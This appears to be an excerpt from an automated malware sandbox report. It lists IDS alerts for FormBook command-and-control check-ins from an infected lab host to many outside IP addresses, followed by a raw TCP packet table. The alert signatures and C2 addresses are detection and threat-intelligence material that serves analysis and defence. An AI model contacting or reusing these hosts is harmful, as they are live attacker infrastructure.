2024-10-03T18:13:39.910391+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49760	103.149.183.47	80	TCP
2024-10-03T18:13:52.915673+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49761	103.149.183.47	80	TCP
2024-10-03T18:13:52.915673+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49761	103.149.183.47	80	TCP
2024-10-03T18:13:59.695682+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49762	52.223.13.41	80	TCP
2024-10-03T18:14:02.336053+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49763	52.223.13.41	80	TCP
2024-10-03T18:14:04.955547+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49764	52.223.13.41	80	TCP
2024-10-03T18:14:07.578122+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49765	52.223.13.41	80	TCP
2024-10-03T18:14:07.578122+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49765	52.223.13.41	80	TCP
2024-10-03T18:14:13.836931+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49766	93.125.99.74	80	TCP
2024-10-03T18:14:16.548773+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49767	93.125.99.74	80	TCP
2024-10-03T18:14:19.308921+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49768	93.125.99.74	80	TCP
2024-10-03T18:14:22.009799+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49769	93.125.99.74	80	TCP
2024-10-03T18:14:22.009799+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49769	93.125.99.74	80	TCP
2024-10-03T18:14:36.143581+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49770	65.21.196.90	80	TCP
2024-10-03T18:14:38.843798+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49771	65.21.196.90	80	TCP
2024-10-03T18:14:44.301466+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49773	65.21.196.90	80	TCP
2024-10-03T18:14:44.301466+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49773	65.21.196.90	80	TCP
2024-10-03T18:14:50.255211+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49774	195.110.124.133	80	TCP
2024-10-03T18:14:52.975391+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49775	195.110.124.133	80	TCP
2024-10-03T18:14:55.692283+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49776	195.110.124.133	80	TCP
2024-10-03T18:14:58.407465+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49777	195.110.124.133	80	TCP
2024-10-03T18:14:58.407465+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49777	195.110.124.133	80	TCP
2024-10-03T18:15:05.249604+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49778	176.123.9.220	80	TCP
2024-10-03T18:15:08.010357+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49779	176.123.9.220	80	TCP
2024-10-03T18:15:10.756344+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49780	176.123.9.220	80	TCP
2024-10-03T18:15:13.502877+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49781	176.123.9.220	80	TCP
2024-10-03T18:15:13.502877+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49781	176.123.9.220	80	TCP
2024-10-03T18:15:21.971209+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49782	5.39.10.93	80	TCP
2024-10-03T18:15:21.971209+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49782	5.39.10.93	80	TCP
2024-10-03T18:15:28.150453+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49783	162.250.125.14	80	TCP
2024-10-03T18:15:30.752547+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49784	162.250.125.14	80	TCP
2024-10-03T18:15:33.394703+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49785	162.250.125.14	80	TCP
2024-10-03T18:15:35.931079+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49786	162.250.125.14	80	TCP
2024-10-03T18:15:35.931079+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49786	162.250.125.14	80	TCP
2024-10-03T18:15:41.566213+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49787	156.227.17.86	80	TCP
2024-10-03T18:15:44.395872+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49788	156.227.17.86	80	TCP
2024-10-03T18:15:47.209940+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49789	156.227.17.86	80	TCP
2024-10-03T18:15:50.050862+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49790	156.227.17.86	80	TCP
2024-10-03T18:15:50.050862+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49790	156.227.17.86	80	TCP
2024-10-03T18:15:55.404920+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49791	64.225.91.73	80	TCP
2024-10-03T18:15:58.082475+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49792	64.225.91.73	80	TCP
2024-10-03T18:16:00.768224+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49793	64.225.91.73	80	TCP
2024-10-03T18:16:03.452735+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49794	64.225.91.73	80	TCP
2024-10-03T18:16:03.452735+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49794	64.225.91.73	80	TCP
2024-10-03T18:16:08.793593+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49795	209.74.64.189	80	TCP
2024-10-03T18:16:11.496073+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49796	209.74.64.189	80	TCP
2024-10-03T18:16:14.201463+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49797	209.74.64.189	80	TCP
2024-10-03T18:16:16.900276+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49798	209.74.64.189	80	TCP
2024-10-03T18:16:16.900276+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49798	209.74.64.189	80	TCP
2024-10-03T18:16:23.640015+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49799	85.159.66.93	80	TCP
2024-10-03T18:16:26.389448+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49800	85.159.66.93	80	TCP
2024-10-03T18:16:29.138835+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49801	85.159.66.93	80	TCP
2024-10-03T18:16:30.590028+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49802	85.159.66.93	80	TCP
2024-10-03T18:16:30.590028+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49802	85.159.66.93	80	TCP
2024-10-03T18:16:35.817887+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49803	3.33.130.190	80	TCP
2024-10-03T18:16:39.371395+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49804	3.33.130.190	80	TCP
2024-10-03T18:16:41.113413+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49805	3.33.130.190	80	TCP
2024-10-03T18:16:43.752330+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49806	3.33.130.190	80	TCP
2024-10-03T18:16:43.752330+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49806	3.33.130.190	80	TCP
2024-10-03T18:16:49.031409+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49807	104.223.44.195	80	TCP
2024-10-03T18:16:51.701090+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49808	104.223.44.195	80	TCP
2024-10-03T18:16:54.361035+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49809	104.223.44.195	80	TCP
2024-10-03T18:16:57.010902+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49810	104.223.44.195	80	TCP
2024-10-03T18:16:57.010902+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49810	104.223.44.195	80	TCP
2024-10-03T18:17:02.233397+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49811	3.33.130.190	80	TCP
2024-10-03T18:17:04.879945+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49812	3.33.130.190	80	TCP
2024-10-03T18:17:08.429202+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49813	3.33.130.190	80	TCP
2024-10-03T18:17:10.153082+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49814	3.33.130.190	80	TCP
2024-10-03T18:17:10.153082+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49814	3.33.130.190	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 18:10:37.026684046 CEST	49722	443	192.168.11.20	142.250.80.78
Oct 3, 2024 18:10:37.026814938 CEST	443	49722	142.250.80.78	192.168.11.20
Oct 3, 2024 18:10:37.027159929 CEST	49722	443	192.168.11.20	142.250.80.78
Oct 3, 2024 18:10:37.055622101 CEST	49722	443	192.168.11.20	142.250.80.78
Oct 3, 2024 18:10:37.055689096 CEST	443	49722	142.250.80.78	192.168.11.20
Oct 3, 2024 18:10:37.302620888 CEST	443	49722	142.250.80.78	192.168.11.20
Oct 3, 2024 18:10:37.303111076 CEST	49722	443	192.168.11.20	142.250.80.78
Oct 3, 2024 18:10:37.303744078 CEST	443	49722	142.250.80.78	192.168.11.20
Oct 3, 2024 18:10:37.303930044 CEST	49722	443	192.168.11.20	142.250.80.78
Oct 3, 2024 18:10:37.359004021 CEST	49722	443	192.168.11.20	142.250.80.78
Oct 3, 2024 18:10:37.359080076 CEST	443	49722	142.250.80.78	192.168.11.20
Oct 3, 2024 18:10:37.360301018 CEST	443	49722	142.250.80.78	192.168.11.20
Oct 3, 2024 18:10:37.360486984 CEST	49722	443	192.168.11.20	142.250.80.78
Oct 3, 2024 18:10:37.363385916 CEST	49722	443	192.168.11.20	142.250.80.78
Oct 3, 2024 18:10:37.404277086 CEST	443	49722	142.250.80.78	192.168.11.20
Oct 3, 2024 18:10:37.553564072 CEST	443	49722	142.250.80.78	192.168.11.20
Oct 3, 2024 18:10:37.553771019 CEST	49722	443	192.168.11.20	142.250.80.78
Oct 3, 2024 18:10:37.553844929 CEST	443	49722	142.250.80.78	192.168.11.20
Oct 3, 2024 18:10:37.554009914 CEST	49722	443	192.168.11.20	142.250.80.78
Oct 3, 2024 18:10:37.554045916 CEST	443	49722	142.250.80.78	192.168.11.20
Oct 3, 2024 18:10:37.554193020 CEST	49722	443	192.168.11.20	142.250.80.78
Oct 3, 2024 18:10:37.554969072 CEST	49722	443	192.168.11.20	142.250.80.78
Oct 3, 2024 18:10:37.555054903 CEST	443	49722	142.250.80.78	192.168.11.20
Oct 3, 2024 18:10:37.726054907 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:37.726155996 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:37.726378918 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:37.726598024 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:37.726661921 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:37.937949896 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:37.938194990 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:37.938194990 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:37.943562031 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:37.943598032 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:37.944013119 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:37.944128036 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:37.944550037 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:37.988364935 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.077702999 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.077883005 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.078083992 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.078083992 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.090332031 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.090688944 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.104429007 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.104690075 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.104691029 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.104691029 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.104798079 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.105063915 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.172595978 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.172868967 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.172947884 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.173201084 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.175839901 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.176062107 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.176152945 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.176405907 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.182888985 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.183144093 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.183221102 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.183475018 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.189682961 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.189935923 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.190013885 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.190366983 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.196527958 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.196784019 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.196862936 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.197216988 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.203363895 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.203618050 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.203701019 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.203993082 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.210485935 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.210741043 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.210825920 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.211189985 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.217283010 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.217547894 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.217626095 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.217987061 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.223352909 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.223612070 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.223689079 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.223941088 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.229172945 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.229357958 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.229377985 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.229557037 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.235876083 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.236062050 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.236080885 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.236232042 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.242099047 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.242454052 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.242471933 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.242624044 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.248433113 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.248810053 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.251518965 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.251732111 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.251749039 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.251981020 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.266868114 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.267064095 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.267079115 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.267329931 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.269474983 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.269690037 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.269704103 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.269936085 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.274430037 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.274612904 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.274627924 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.274879932 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.278918982 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.279108047 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.279124975 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.279349089 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.283456087 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.283665895 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.283679962 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.283910990 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.287882090 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.287981033 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.288067102 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.288083076 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.288162947 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.288338900 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.292514086 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.292709112 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.292723894 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.292954922 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.296997070 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.297194958 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.297210932 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.297411919 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.301387072 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.301614046 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.301631927 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.301863909 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.305970907 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.306197882 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.306211948 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.306464911 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.310513020 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.310734034 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.310746908 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.311008930 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.315015078 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.315246105 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.317189932 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.317403078 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.317414999 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.317677021 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.321783066 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.322007895 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.322019100 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.322279930 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.326322079 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.326535940 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.326548100 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.326776028 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.330733061 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.331015110 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.331027031 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.331238985 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.335270882 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.335486889 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.335498095 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.335752010 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.339828014 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.340058088 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.340066910 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.340316057 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.344120979 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.344301939 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.344310999 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.344569921 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.348823071 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.349107981 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.349126101 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.349283934 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.352871895 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.353219032 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.353250980 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.353498936 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.357088089 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.357355118 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.357379913 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.357525110 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.361351013 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.361596107 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.361610889 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.361958981 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.365272999 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.365535975 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.365547895 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.365910053 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.368387938 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.368705988 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.369741917 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.369995117 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.370053053 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.370275021 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.372319937 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.372526884 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.372574091 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.372844934 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.374753952 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.374962091 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.375015974 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.375319958 CEST	49723	443	192.168.11.20	142.250.176.193
